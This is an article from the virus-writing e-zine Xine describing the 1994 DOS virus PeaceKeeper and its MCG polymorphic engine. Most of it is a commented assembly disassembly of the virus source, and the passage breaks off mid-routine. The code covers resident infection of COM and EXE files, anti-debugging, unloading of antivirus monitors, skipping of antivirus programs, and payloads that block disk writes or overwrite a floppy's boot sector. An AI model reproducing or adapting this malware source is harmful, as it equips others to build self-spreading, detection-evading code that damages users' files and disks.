Copy Link
Add to Bookmark
Report
Xine - issue #4 - Phile 308
/-----------------------------\
| Xine - issue #4 - Phile 308 |
\-----------------------------/
Virus Name : PeaceKeeper
Virus Author : Doctor Revenge
Origin : Italy, May 1994
Type : Poly TSR COM/EXE infector
Disasm : Darkman/29A and b0z0/iKX
General Description:
--------------------
This is a quite old resident polymorphic COM and EXE infector from Doctor
Revenge, a well known italian virus writer. For today's starndards is a quite
'normal' virus, but it has some interesting features, expecially if we consider
that it was written more than 4 years ago.
At loading the virus has some usual antidebugger routines again INT 01h
debuggers and will unload VSAFE from memory if it is present. With a usual
kernel scanning routine it will try to search the original entry point of
the interrupt 21h (depending on DOS version it will use a different string
for kernel scanning, but in reality all the scan strings are just the same).
Both interrupt 21h (for file infection and stealth) and interrupt 13h will be
hooked after going resident by shrinking the last MCB.
While resident the virus will intecepts calls to interrupt 21h 11h/12h, this
is FCB findfirst and findnext and will stealth virus size when needed. It will
intercept execute function 4b00h too and will try to infect file being executed.
File type is determined by the file extension and only files ending in COM and
EXE are examined as infectables. The first two chars of the file name are
checked against a virus table containing antivirus programs beginning chars and
such. If such a program is encountered then the virus will skip infection. EXE
infection is done in a quite usual way with the usual checks aimed to prevent
destroying the file (like check for Windows executable). What is undoubtely more
interesting is the COM infection. Peacekeeper infact will put some chunks
(from a minimal of 2 chunks to 5 chunks randomly) of garbage code (generated
with the garbage generator of the poly) through the COM file connected with
absolute JMPs that will then lead to the real decryptor. This way just examining
the entry point of the virus couldn't be enough to get the virus entry point.
Of course the original pieces of code that will be overwritten by the virus
garbage will be saved (encrypted) for later restoration (with each chunk will
be saved also its lenght and the position of the chunk in the file). The virus
is slow polymorphic in both COMs and EXEs. Infact the poly engine input register
with flags (BL) is initialized depending on disk serial number or on system date
if DOS version is smaller than 4. So even if the garbage in the decryptor will
be random at each infection, the basic structure of the decryptor (pointer used,
type of encryption and such) is fixed for all files infected on a system.
The virus has also two payloads. When virus is not in its infection stage
it could randomly inhibit writing to disk (as for writes that are done with
function 3 of the interrupt 13h). While depending on a random value it could
change the original boot sector of a floppy disk with a virus boot record
that displays the virus message. But due to a bug this second payload will
never get activated.
MCG 0.31b Description:
----------------------
The poly engine used in this virus is the MCG 0.31b. The poly itself is quite
simple (but it wasn't for the times the virus was actually written). It
generates decryptors that can use ADD/SUB/XOR math operations on either bytes
or words with a fixed encryption key as immediate. The counter register is
fixed to CX, while the pointer can be either SI or DI, that can be also
associated with a fixed offset (ie. [DI + 100h]). There are two ways to create
the loop check for the decryptor, using a LOOP instruction or by just using
the DEC CX with a counter check. It is interesting that most of the exact
structure of the decryptor is already decided at the poly calling time in the
register with decryptor flags, this is BL.
Most of the poly is written using tables. The assignation of the registers
infact (counter and pointer one) is done by selecting one of the four
possible constructs from an offset table that are quite simillar and have
all the same task to assign a given value to the given register (look at
comments in code for the exact structure of each of this code blocks). As for
the incrementation of the pointer there are a few possibile ways to do the
work, depending on the used register infact a SCASB or CMPSB (or word if
encrypting by words) could be used instead of the more usual INC.
As for garbage there are 7 different types of garbage generation routines
(tables are used here aswell) that generate usual one byte instructions,
some assignment and logical instructions, conditional jumps and comparations
between registers or between a register and an immediate. Garbage instruction
can be either 16bit or 8bit ones. All the garbage generated doesn't affect in
any way any of the registers (infact only logical operations between the
register and itself like OR and AND are used), except flags, so the poly
doesn't have to keep reference of which registers must be preserved or which
registers have been changed during the decryptor. This of course makes the
garbage generation easier to manage, but on the other side makes the possible
generated garbage very reduced and generated instructions are not likely ones
that could be found in a normal program, since they don't act on the registers
at all.
--------------------------------------------------------------[peacek_a.asm]--
.model tiny
.code
org 100h ; Origin of PeaceKeeper.a
code_begin:
stack_ptr equ $-01h ; Stack pointer
call delta_offset
delta_offset:
pop si ; Load SI from stack
sub si,(delta_offset-code_begin)
jmp int01_store
nop
int13_virus proc near ; Interrupt 13h of PeaceKeeper.a
cmp cs:[payload_stat],00h
je int13_exit ; Equal? Jump to int13_exit
cmp ah,03h ; Write disk sector(s)
je payload ; Equal? Jump to payload
int13_exit:
jmp cs:[int13_addr]
iret ; Interrupt return
payload:
push ax bx ; Save registers at stack
call get_rnd_num
and ah,00000111b ; AH = random number within seven
and al,00000111b ; AL = " " " "
cmp ah,00000111b ; Write disk sector(s)?
jne write_sector ; Not equal? Jump to write_sector
cmp al,00000110b ; Write disk sector(s)?
jne write_sector ; Not equal? Jump to write_sector
pop bx ax ; Load registers from stack
clc ; Clear carry flag
iret ; Interrupt return
write_sector:
pop bx ax ; Load registers from stack
jmp int13_exit
endp
int01_virus proc near ; Interrupt 01h of PeaceKeeper.a
cmp cs:[si+trace_status-100h],00h
jne int01_exit ; Not equal? Jump to int01_exit
mov cs:[si+trace_status-100h],01h
pushf ; Save flags at stack
pop ax ; Load AX from stack
and ax,1111111011111111b
push ax ; Save AX at stack
popf ; Load flags from stack
jmp int01_load
int01_exit:
iret ; Interrupt return
endp
int01_store:
sub ax,ax ; Zero AX
mov es,ax ; ES = segment of interrupt table
cli ; Clear interrupt-enable flag
mov dx,es:[(01h*04h)] ; Get interrupt vector 01h
mov cx,es:[(01h*04h+02h)]
sti ; Set interrupt-enable flag
lea ax,[si+int01_virus-100h]
mov cs:[si+trace_status-100h],00h
mov es:[(01h*04h)],ax ; Set interrupt vector 01h
mov es:[(01h*04h+02h)],cs
pushf ; Save flags at stack
pop ax ; Load AX from stack
or ax,0000000100000000b
push ax ; Save AX at stack
popf ; Load flags from stack
nop
int 20h ; Terminate program
int01_load:
cli ; Clear interrupt-enable flag
mov es:[(01h*04h)],dx ; Set interrupt vector 01h
mov es:[(01h*04h+02h)],cx
sti ; Set interrupt-enable flag
jmp get_dos_ver
init_rnd_num proc near ; Initialize 32-bit random number
push cx ; Save CX at stack
call init_rnd_nu_
db 10000011b,11100000b ; AND AX,0Fh (opcode 83h,0e0h,0fh)
db 00001111b
inc ax ; AX = random number within sixteen
xchg ax,cx ; CX = " " " "
calc_rnd_num:
call get_rnd_num
loop calc_rnd_num
pop cx ; Load CX from stack
ret ; Return
endp
init_rnd_nu_ proc near ; Initialize 32-bit random number
push dx cx ; Save registers at stack
mov ah,2ch ; Get system time
int 21h
in al,40h ; AL = 8-bit random number
mov ah,al ; AH = " " "
in al,40h ; AL = " " "
xor ax,cx ; AX = low-order word of 32-bit r...
xor dx,ax ; DX = high-order word of 32-bir ...
jmp sto_rnd_num
endp
get_rnd_num proc near ; Get 32-bit random number
push dx cx ; Save registers at stack
push bx ; Save BX at stack
random_num equ word ptr $+01h ; Low-order word of 32-bit random ...
mov ax,00h ; AX = low-order word of 32-bit ra...
random_num_ equ word ptr $+01h ; High-order word of 32-bit random...
mov dx,00h ; DX = high-order word of 32-bit r...
mov cx,07h ; Rotate 32-bit random number thro...
calc_rnd_nu_:
shl ax,01h ; Shift logical left low-order wor...
rcl dx,01h ; Rotate left high-order word of 3...
mov bl,al ; BL = low-order byte of low-order...
xor bl,dh ; Exclusive OR high-order byte of ...
jns dont_inc_rnd ; No sign? Jump to dont_inc_rnd
inc al ; Increase low-order byte of low-or...
dont_inc_rnd:
loop calc_rnd_nu_
pop bx ; Load BX from stack
sto_rnd_num:
mov word ptr cs:[random_num],ax
mov word ptr cs:[random_num_],dx
mov al,dl ; AL = low-order byte of high-orde...
pop cx dx ; Load registers from stack
ret ; Return
endp
virus_exit:
cmp [si+execute_stat-100h],00h
je vir_com_exit ; COM executable? Jump to vir_com_...
cmp [si+execute_stat-100h],01h
je vir_exe_exit ; EXE executable? Jump to vir_exe_...
eternal_loop:
jmp eternal_loop
vir_exe_exit:
mov ax,[si+program_seg-100h]
mov ds,ax ; DS = segment of Program Segment ...
mov es,ax ; ES = " " " " "
mov dx,ds ; DX = " " " " "
add dx,10h ; DX = segment of beginning of code
mov cx,dx ; CX = " " " " "
add dx,cs:[si+initial_ss-100h]
cli ; Clear interrupt-enable flag
mov ss,dx ; SS = initial SS relative to star...
mov sp,cs:[si+initial_sp-100h]
sti ; Set interrupt-enable flag
add cx,cs:[si+initial_cs-100h]
push cx ; Save initial SS relative to star...
push word ptr cs:[si+initial_ip-100h]
retf ; Return far
vir_com_exit:
mov cx,[si+poly_parts-100h]
lea si,[si+data_buffe-100h]
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
cld ; Clear direction flag
restore_loop:
push cx ; Save CX at stack
lodsw ; AX = length of original part
mov cx,ax ; CX = " " " "
lodsw ; AX = offset " " "
mov di,ax ; DI = " " " "
add di,100h ; Add offset of beginning of code ...
rep movsb ; Move original code to offset of ...
pop cx ; Load CX from stack
loop restore_loop
push cs ; Save CS at stack
mov ax,100h ; AX = offset of beginning of code
push ax ; Save AX at stack
retf ; Return far
error_:
stc ; Set carry flag
ret ; Return
no_error:
clc ; Clear carry flag
ret ; Return
tunneler proc near ; Tunneler of PeaceKeeper.a
mov ah,34h ; Get address of InDOS flag
int 21h
push es ; Save ES at stack
mov ax,[si+dos_version-100h]
sub ah,ah ; AX = major version number
sub bx,bx ; Zero BX
mov bx,03h ; BX = DOS version number
mov cx,04h ; Compare four times
find_dos_ver:
cmp al,bl ; Found DOS version number?
je found_ver ; Equal? Jump to found_ver
inc bl ; Increase DOS version number
inc ah ; Increase DOS version counter
loop find_dos_ver
jmp error_
found_ver:
sub al,al ; Zero AL
xchg al,ah ; AL = DOS version counter
mov bx,04h ; Multiply by four
mul bx ; AX = DOS version counter multipl...
lea bx,[si+scan_strings-100h]
add bx,ax ; BX = offset within scan_strings
pop ax ; Load AX from stack (ES)
call find_kernel
endp
exam_kernel proc near ; Examine DOS kernel in High Memor...
cmp dx,[bx] ; DOS kernel?
jne not_kernel ; Not equal? Jump to not_kernel
mov dx,es:[si+02h] ; DX = two bytes of DOS data segment
cmp dx,[bx+02h] ; DOS kernel?
jne not_kernel ; Not equal? Jump to not_kernel
jmp error_
not_kernel:
jmp no_error
endp
find_kernel proc near ; Find DOS kernel in High Memory A...
mov di,si ; DI = delta offset
mov es,ax ; ES = segment of DOS data segment
mov si,100h ; SI = offset of DOS data segment
mov cx,1388h ; Search through five thousand bytes
find_kernel_:
mov dx,es:[si] ; DX = two bytes of DOS data segment
cmp dh,[bx] ; DOS kernel?
jne not_kernel_ ; Not equal? Jump to not_kernel_
call exam_kernel
jc found_kernel ; Found DOS kernel? Jump to found_...
not_kernel_:
inc si ; Increase offset of DOS data segment
loop find_kernel_
jmp error_
found_kernel:
mov word ptr [di+int21_addr-100h],si
mov word ptr [di+int21_addr-100h+02h],es
mov si,di ; SI = delta offset
jmp no_error
endp
nop
get_dos_ver:
mov ah,30h ; Get DOS version
int 21h
mov cs:[si+dos_version-100h],ax
mov cs:[si+program_seg-100h],ds
push cs ; Save CS at stack
pop ds ; Load DS from stack
mov bp,si ; BP = delta offset
mov ax,0deadh ; PeaceKeeper.a function
int 21h
cmp bx,ax ; Already resident?
jne test_dos_ver ; Not equal? Jump to test_dos_ver
jmp virus_exit
test_dos_ver:
mov ax,[si+dos_version-100h]
cmp al,03h ; DOS v 3.xx?
jge test_vsafe ; Greater or equal? Jump to test_v...
jmp virus_exit
test_vsafe:
mov ax,0fa00h ; PC tools v8+ vsafe, vwatch insta...
mov dx,5945h ; " " " " " "
int 16h
cmp di,4559h ; Installed?
jne get_int_vec ; Not equal? Jump to get_int_vec
mov ax,0fa01h ; PC tools v8+ vsafe, vwatch unins...
mov dx,5945h ; " " " " " "
int 16h
get_int_vec:
mov ax,3513h ; Get interrupt vector 13h
int 21h
mov word ptr [si+int13_addr-100h],bx
mov word ptr [si+int13_addr-100h+02h],es
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov word ptr [si+int21_addr_-100h],bx
mov word ptr [si+int21_addr-100h],bx
mov word ptr [si+int21_addr_-100h+02h],es
mov word ptr [si+int21_addr-100h+02h],es
call tunneler
mov ax,[si+dos_version-100h]
cmp al,04h ; DOS v 4.xx?
jl get_sys_date ; Less? Jump to get_sys_date
mov ax,6900h ; Get disk serial number
mov bl,03h ; Drive C:
lea dx,[si+data_buffer-100h]
int 21h
mov ah,[si+data_buffer+02h-100h]
mov [si+flags-100h],ah ; Store flags
jmp examine_mcb
get_sys_date:
mov ah,2ah ; Get system date
int 21h
mov [si+flags-100h],dh ; Store flags
examine_mcb:
mov bx,[si+program_seg-100h]
dec bx ; BX = segment of Memory Control B...
mov es,bx ; ES = " " " " "
sub bx,bx ; Zero BX
cmp byte ptr es:[bx],'Z'
je allocate_mem ; Equal? Jump to allocate_mem
jmp virus_exit
allocate_mem:
mov ax,(data_end-code_begin+0fh)/10h+85h
sub es:[bx+03h],ax ; Subtract size of virus in memory...
sub es:[bx+12h],ax ; " " " " " "
mov es,es:[bx+12h] ; ES = segment of allocated memory...
push si ; Save SI at stack
sub cx,cx ; Zero CX
sub di,di ; Zero DI
or di,offset code_begin
or cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory
pop si ; Load SI from stack
mov ax,2521h ; Set interrupt vector 21h
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
lea dx,int21_virus ; DX = offset of int21_virus
int 21h
mov ax,2513h ; Set interrupt vector 13h
lea dx,int13_virus ; DX = offset of int13_virus
int 21h
pop ds
mov ax,0deaeh ; PeaceKeeper.a function
int 21h
jmp virus_exit
payload_ proc near ; Payload of PeaceKeeper.a
nop
call get_rnd_num
and ah,00000111b ; AH = random number within seven
and al,00000011b ; AL = random number within three
cmp ah,00000111b ; Activate payload?
je test_random ; Equal? Jump to test_random
jmp no_error
test_random:
cmp al,00000100b ; Activate payload?
je read_sector ; Equal? Jump to read_sector
jmp no_error
read_sector:
cld ; Clear direction flag
lea bx,data_buffe ; BX = offset of data_buffe
mov al,00h ; Drive A:
mov cx,01h ; Read one sector
sub dx,dx ; DX = starting logical sector
int 25h ; Absolute disk read
popf ; Load flags from stack
jnc no_error___ ; No error? Jump to no_error___
jmp error_
no_error___:
mov si,bx ; SI = offset of data_buffer
cmp byte ptr [si],11101011b
je found_jump ; JMP imm8? (opcode 0ebh)? Jump to...
jmp error_
found_jump:
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lodsb ; JMP imm8 (opcode 0ebh)
lodsb ; AL = 8-bit immediate
sub ah,ah ; Zero AH
add si,ax ; SI = offset within sector
mov di,si ; DI = offset within sector
lea si,mbr ; SI = offset of mbr
mov cx,(mbr_end-mbr_begin)
rep movsb ; Move Master Boot Record of Peace...
sub dx,dx ; DX = starting logical sector
mov cx,01h ; Read one sector
xor al,al ; Drive A:
lea bx,data_buffe ; BX = offset of data_buffe
int 26h ; Absolute disk write
popf ; Load flags from stack
jnc no_error____ ; No error? Jump to no_error____
jmp error_
no_error____:
jmp no_error
endp
mbr_begin:
mbr proc near ; Master Boot Record of PeaceKeeper.a
call delta_offse
delta_offse:
pop bx ; Load BX from stack
sub bx,(delta_offse-mbr)
cli ; Clear interrupt-enable flag
cld ; Clear direction flag
xor ax,ax ; AX = segment of Master Boot Reco...
mov ss,ax ; SS = " " " " "
mov ds,ax ; DS = " " " " "
mov sp,7c00h ; SP = offset of Master Boot Recor...
sti ; Set interrupt-enable flag
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "
sub di,di ; Zero DI
mov ax,1f20h ; AX = foreground- and backgroundc...
mov cx,7d0h ; Store four thousand bytes
store_colors:
stosw ; Store foreground- and background...
loop store_colors
sub di,di ; Zero DI
mov si,bx ; SI = delta offset
db 10000001b,11000110b ; ADD SI,imm16
dw (message-mbr) ; Offset of message
mov cx,(message_end-messag_begin)
store_messag:
lodsb ; AL = byte of message
stosb ; Store byte of message
inc di ; Increase index register
loop store_messag
mov cx,(message_end_-messag_begi_)
mov di,0a0h ; DI = offset witin text video RAM
store_messa_:
lodsb ; AL = byte of message_
stosb ; Store byte of message_
inc di ; Increase index register
loop store_messa_
eternal_loo:
jmp eternal_loo
endp
messag_begin:
message db 'Peace-Keeper Virus V2.10 '
message_end:
messag_begi_:
message_ db 'Written by Doctor Revenge 18-May-1994 , Italy'
message_end_:
mbr_end:
examine_name proc near ; Examine filename
mov si,[filename_off] ; SI = offset of filename
push [filename_seg] ; Save segment of filename at stack
pop ds ; Load DS from stack (segment of ...)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea di,data_buffe ; DI = offset of data_buffe
mov cx,80h ; Examine one hundred and twenty-e...
upcase_char:
lodsb ; AL = byte of filename
cmp al,00h ; Found end of filename?
je examine_ext ; Equal? Jump to examine_ext
cmp al,'a' ; Upcase character?
jb dont_upcase ; Below? Jump to dont_upcase
cmp al,'z' ; Upcase character?
ja dont_upcase ; Above? Jump to dont_upcase
xor al,00100000b ; Upcase character
dont_upcase:
stosb ; Store byte of filename
loop upcase_char
examine_ext:
stosb ; Store zero
mov si,di ; SI = offset of end of filename
dec si ; SI = offset of last byte in file...
std ; Set direction flag
push cs cs ; Save segments at stack
pop es ds ; Load segments from stack
find_dot:
lodsb ; AL = byte of file extension
cmp al,'.' ; Dot?
jne find_dot ; Not equal? Jump to find_dot
cld ; Clear direction flag
inc si ; SI = offset of file extension
inc si ; " " " " " "
mov ax,si ; AX = " " " "
lea di,exe_extensio ; DI = offset of exe_extensio
mov cx,03h ; Compare three bytes
rep cmpsb ; EXE extension?
jne examine_ext_ ; Not equal? Jump to examine_ext_
mov [execute_stat],01h ; EXE executable
jmp examine_nam_
examine_ext_:
lea di,com_extensio ; DI = offset of com_extensio
mov si,ax ; SI = offset of file extension
mov cx,03h ; Compare three bytes
rep cmpsb ; COM extension?
je found_ext ; Equal? Jump to found_ext
jmp error_
found_ext:
mov [execute_stat],00h ; COM executable
examine_nam_:
std ; Set direction flag
mov cx,0fh ; Search through fifteen bytes
find_begin:
lodsb ; AL = byte of filename
cmp al,':' ; Found beginning of filename?
je compare_name ; Equal? Jump to compare_name
cmp al,'\' ; Found beginning of filename?
je compare_name ; Equal? Jump to compare_name
loop find_begin
jmp error_
compare_name:
inc si ; SI = offset of beginning of file...
inc si ; " " " " " " "
cld ; Clear direction flag
lodsw ; AX = first two bytes of filename
lea di,name_table ; DI = offset of name_table
mov cx,(table_end_-table_begin_)/02h
repne scasw ; Found filename?
jne found_name ; Not equal? Jump to found_name
jmp error_
found_name:
jmp no_error
endp
open_file proc near ; Open file
push ds ; Save DS at stack
mov dx,[filename_off] ; DX = offset of filename
mov ds,[filename_seg] ; DS = segment of filename
mov ax,3d02h ; Open file (read/write)
call int21_simula
pop ds ; Load DS from stack
jnc no_error_ ; No error? Jump to no_error_
jmp error_
no_error_:
mov [file_handle],ax ; Store file handle
jmp no_error
endp
close_file proc near ; Close file
mov ah,3eh ; Close file
mov bx,[file_handle] ; BX = file handle
call int21_simula
jmp no_error
endp
sto_file_att proc near ; Get and set file attributes
push ds ; Save DS at stack
mov dx,[filename_off] ; DX = offset of filename
mov ds,[filename_seg] ; DS = segment of filename
mov ax,4300h ; Get file attributes
call int21_simula
mov cs:[file_attr],cx ; Store file attributes
xor cx,cx ; CX = new file attributes
mov ax,4301h ; Set file attributes
call int21_simula
pop ds ; Load DS from stack
jnc no_error__ ; No error? Jump to no_error__
jmp error_
no_error__:
jmp no_error
endp
get_file_inf proc near ; Get file's date and time
mov ax,5700h ; Get file's date and time
mov bx,[file_handle] ; BX = file handle
call int21_simula
mov [file_date],dx ; Store file date
mov [file_time],cx ; Store file time
jmp no_error
endp
set_file_inf proc near ; Set file's date and time
mov ax,5701h ; Set file's date and time
mov bx,[file_handle] ; BX = file handle
mov cx,[file_time] ; CX = file time
mov dx,[file_date] ; DX = file date
cmp [infect_stat],00h ; Don't infect file?
jne dont_infect ; Not equal? Jump to dont_infect
or cl,00011111b ; Set infection mark (60 seconds)
and cl,11111110b ; " " " " "
dont_infect:
call int21_simula
jmp no_error
endp
int24_store proc near ; Get and set interrupt vector 24h
push es ; Save ES at stack
sub ax,ax ; Zero AX
mov es,ax ; ES = segment of interrupt table
mov ax,es:[(24h*04h)] ; Set interrupt vector 24h
mov es:[(24h*04h)],offset int24_virus
mov word ptr [int24_addr],ax
mov ax,es:[(24h*04h+02h)]
mov es:[(24h*04h+02h)],cs
mov word ptr [int24_addr+02h],ax
pop es ; Save ES at stack
jmp no_error
endp
int24_load proc near ; Set interrupt vector 24h
push es ; Save ES at stack
sub bx,bx ; Zero BX
push bx ; Save BX at stack
pop es ; Load ES from stack
mov ax,word ptr [int24_addr]
mov es:[(24h*04h)],ax ; Set interrupt vector 24h
mov ax,word ptr [int24_addr+02h]
mov es:[(24h*04h+02h)],ax
pop es ; Load ES from stack
jmp no_error
endp
set_file_pos proc near ; Set current file position
push cx bx ; Save registers at stack
mov ah,42h ; Set current file position
sub cx,cx ; CX:DX = offset from origin of ne...
mov dx,cx ; " " " " " " "
mov bx,[file_handle] ; BX = file handle
call int21_simula
pop bx cx ; Load registers from stack
jmp no_error
endp
div_by_pages proc near ; Divide by pages
mov cx,200h ; Divide by pages
div cx ; DX:AX = filesize in pages
or dx,dx ; No bytes in last 512-bytes page ...
jz dont_inc_pag ; Zero? Jump to dont_inc_pag
inc ax ; Increase total number of 512-byt...
dont_inc_pag:
ret
endp
get_filesize proc near ; Get filesize
mov ax,word ptr [filesize]
mov dx,word ptr [filesize+02h]
ret ; Return
endp
infect_exe proc near ; Infect EXE file
mov [infect_stat],01h ; Infect file
mov al,00h ; Set current file position (SOF)
call set_file_pos
mov ah,3fh ; Read from file
mov bx,[file_handle] ; BX = file handle
mov cx,1ch ; Read twenty-eight bytes
lea dx,data_buffer ; DX = offset of data_buffer
call int21_simula
lea si,data_buffer ; SI = offset of data_buffer
cmp word ptr [si],'ZM' ; Found EXE signature
je exam_header ; Equal? Jump to exam_header
jmp error_
exam_header:
cmp word ptr [si+12h],0deadh
jne exam_header_ ; Already infected? Jump to exam_h...
jmp error_
exam_header_:
cmp word ptr [si+18h],40h
jb test_overlay ; New executable? Jump to test_overlay
sub cx,cx ; CX = high-order word of offset f...
mov dx,3ch ; DX = offset of new executable he...
mov ax,4200h ; Set current file position (SOF)
mov bx,[file_handle] ; BX = file handle
call int21_simula
jnc read_header ; No error? Jump to read_header
jmp error_
read_header:
mov ah,3fh ; Read from file
mov cx,04h ; Read four bytes
lea dx,data_buffer_ ; DX = offset of data_buffer_
call int21_simula
jnc read_offset ; No error? Jump to read_offset
jmp error_
read_offset:
mov dx,word ptr [data_buffer_]
mov cx,word ptr [data_buffer_+02h]
mov ax,4200h ; Set current file position (SOF)
mov bx,[file_handle] ; BX = file handle
call int21_simula
jnc read_header_ ; No error? Jump to read_header_
jmp error_
read_header_:
mov ah,3fh ; Read from file
mov cx,04h ; Read four bytes
lea dx,data_buffer_ ; DX = offset of data_buffer_
call int21_simula
jnc exam_heade ; No error? Jump to exam_heade
jmp error_
exam_heade:
cmp [data_buffer_+01h],'E'
jne test_overlay ; New executable? Jump to test_ove...
jmp error_
test_overlay:
call get_filesize
call div_by_pages
cmp [si+04h],ax ; Internal overlay?
je test_overla ; Equal? Jump to test_overla
jmp error_
test_overla:
cmp [si+02h],dx ; Internal overlay?
je test_memory ; Equal? Jump to test_memory
jmp error_
test_memory:
cmp word ptr [si+0ch],00h
jne test_overla_ ; Not equal? Jump to test_overla_
jmp error_
test_overla_:
cmp word ptr [si+1ah],00h
je modify_head ; Main program? Jump to modify_head
jmp error_
modify_head:
call get_filesize
mov bx,10h ; Divide by paragraphs
div bx ; AX:DX = filesize in paragraphs
mov [delta_offse_],dx ; Store delta offset
sub ax,[si+08h] ; Subtract headersize in paragraph...
push word ptr [si+16h] ; Save initial CS relative to star...
pop [initial_cs] ; Load initial_cs (initial CS rel...)
mov [si+16h],ax ; Store initial CS relative to sta...
push word ptr [si+0eh] ; Save initial SS relative to star...
pop [initial_ss] ; Load initial_ss (initial SS rel...)
mov [si+0eh],ax ; Store initial SS relative to sta...
push word ptr [si+14h] ; Save initial IP at stack
pop [initial_ip] ; Load initial_ip (initial IP)
mov [si+14h],dx ; Store initial IP
push word ptr [si+10h] ; Save initial SP at stack
pop [initial_sp] ; Load initial_sp (initial SP)
mov word ptr [si+10h],2000h
call get_rnd_num
mov bl,[flags] ; BL = flags
lea di,data_buffe ; DI = offset of data_buffe
mov bp,[delta_offse_] ; BP = delta offset
push si ; Save SI at stack
call mcg_start
pop si ; Load SI from stack
call get_filesize
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
add ax,[dec_length] ; Add length of decryptor to size ...
adc dx,00h ; Convert to 32-bit
call div_by_pages
mov [si+04],ax ; Store total number of 512-byte p...
mov [si+02],dx ; Store number of bytes in last 51...
cmp word ptr [si+0ch],0ffffh
jne write_header ; Not equal? Jump to write_header
mov word ptr [si+0ch],0ffffh
write_header:
mov word ptr [si+12h],0deadh
mov al,00h ; Set current file position (SOF)
call set_file_pos
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
mov cx,1ch ; Read twenty-eight bytes
lea dx,data_buffer ; DX = offset of data_buffer
call int21_simula
mov [infect_stat],00h ; Don't infect file
jmp no_error
endp
infect_com proc near ; Infect COM file
mov [regs_assigned],00h ; Index and count register hasn't b..
mov ax,0bb8h ; Filesize too small?
cmp ax,word ptr [filesize]
jb prepare_infe ; Below? Jump to prepare_infe
jmp error_
prepare_infe:
mov al,00h ; Set current file position (SOF)
call set_file_pos
sub ax,ax ; Zero AX
mov [part_offse],ax ; Zero offset in file of current p...
mov [part_length],ax ; Zero length of polymorphic parts...
mov [part_offset],ax ; Zero offset in file of current p...
mov [part_offset_],offset data_buffe_
call get_rnd_num
sub ah,ah ; AL = 8-bit random number
and al,00000011b ; AL = random number within three
inc al ; " " " " " "
inc al ; " " " " " "
mov [poly_parts],ax ; Store number of polymorphic parts
mov cx,ax ; CX = number of polymorphic parts
gen_parts:
push cx ; Save CX at stack
call get_rnd_num
sub ah,ah ; AL = 8-bit random number
and al,00000111b ; AL = random number within seven
inc al ; " " " " " "
mov cx,ax ; CX = number of garbage instructions
lea di,data_buffe ; DI = offset of data_buffe
gen_garbage:
call some_garbage_
dec cx ; Decrease count register
jnz gen_garbage ; Not zero? Jump to gen_garbage
mov al,11101001b ; JMP imm16 (opcode 0e9h)
stosb ; Store JMP imm16 (opcode 0e9h)
push di ; Save DI at stack
lea bx,data_buffe ; BX = offset of data_buffe
sub di,bx ; DI = length of polymorphic part
inc di ; " " " " " "
inc di ; " " " " " "
add [part_offset],di ; Add length of polymorphic part t...
mov [part_length_],di ; Store length of current polymorp...
pop di ; Load DI from stack
pop cx ; Load CX from stack
cmp cx,01h ; Last polymorphic part?
push cx ; Save CX at stack
je gen_par_exit ; Equal? Jump to gen_par_exit
offset_error:
call get_rnd_num
xor ah,ah ; AL = 8-bit random number
and al,00111111b ; AL = random number within sixty-...
mov bx,20h ; Multiply by thirty-two
mul ax ; AX = offset in file of next poly...
mov dx,[part_offset] ; DX = offset in file of current p...
add dx,ax ; DX = offset im file of next poly...
cmp dx,word ptr [filesize]
ja offset_error ; Above? Jump to offset_error
stosw ; Store 16-bit immediate
add [part_offset],ax ; Add offset of in file of next po...
jmp lod_sto_part
gen_par_exit:
mov ax,word ptr [filesize]
sub ax,[part_offset] ; AX = 16-bit immediate
stosw ; Store 16-bit immediate
lod_sto_part:
call lod_sto_file
pop cx ; Load CX from stack
loop gen_parts
call get_rnd_num
mov bl,[flags] ; BL = flags
lea di,data_buffe ; DI = offset of data_buffe
mov bp,word ptr [filesize]
add bp,100h ; BP = delta offset
push si ; Save SI at stack
call mcg_start
pop si ; Load SI from stack
jmp no_error
endp
lod_sto_file proc near ; Read original part, write polymo...
mov ah,3fh ; Read from file
mov cx,[part_length_] ; CX = length of current polymorph...
mov si,[part_offset_] ; SI = offset in memory of current...
push [part_length_] ; Save length of current polymorph...
pop [si] ; Load " " " "
push [part_offse] ; Save offset in file of current p...
pop [si+02h] ; Load " " " " " "
mov dx,[part_offset_] ; DX = offset in memory of current...
add dx,04h ; " " " " " " "
mov bx,[file_handle] ; BX = file handle
call int21_simula
add [part_offset_],ax ; Add length of current polymorphi...
add [part_offset_],04h ; " " " " "
add [part_length],ax ; " " " " "
add [part_length],04h ; " " " " "
mov ax,4200h ; Set current file position (SOF)
sub cx,cx ; CX = high-order word of offset f...
mov dx,[part_offse] ; DX = offset in file of current p...
call int21_simula
mov ah,40h ; Write to file
mov cx,[part_length_] ; CX = length of current polymorph...
lea dx,data_buffe ; DX = offset of data_buffe
mov bx,[file_handle] ; BX = file handle
call int21_simula
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; CX = high-order word of offset f...
mov dx,[part_offset] ; DX = offset in file of current p...
mov bx,[file_handle] ; BX = file handle
call int21_simula
mov [part_offse],ax ; Store offset in file of current ...
jmp no_error
endp
mark_com proc near ; Set infection mark of COM file
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
mov cx,[part_length] ; CX = length of polymorphic parts...
add cx,02h ; Add length of infection mark to ...
lea si,data_buffe_ ; SI = offset of data_buffe_
add si,[part_length] ; SI = offset of end of data_buffe_
mov word ptr [si],0deadh
lea dx,data_buffe_ ; DX = offset of data_buffe_
call int21_simula
jmp no_error
endp
examine_com proc near ; Examine COM file
mov ax,4200h ; Set current file position (SOF)
sub cx,cx ; CX = high-order word of offset f...
mov dx,word ptr [filesize]
sub dx,02h ; DX = low-order word of offset fi...
mov bx,[file_handle] ; BX = file handle
call int21_simula
mov ah,3fh ; Read from file
mov cx,02h ; Read two bytes
lea dx,data_buffer ; DX = offset of data_buffer
call int21_simula
cmp word ptr [data_buffer],0deadh
je infected ; Equal? Jump to infected
jmp no_error
infected:
jmp error_
endp
infect_file proc near ; Infect COM/EXE file
mov al,02h ; Set current file position (EOF)
call set_file_pos
lea dx,data_buffe ; DX = offset of data_buffe
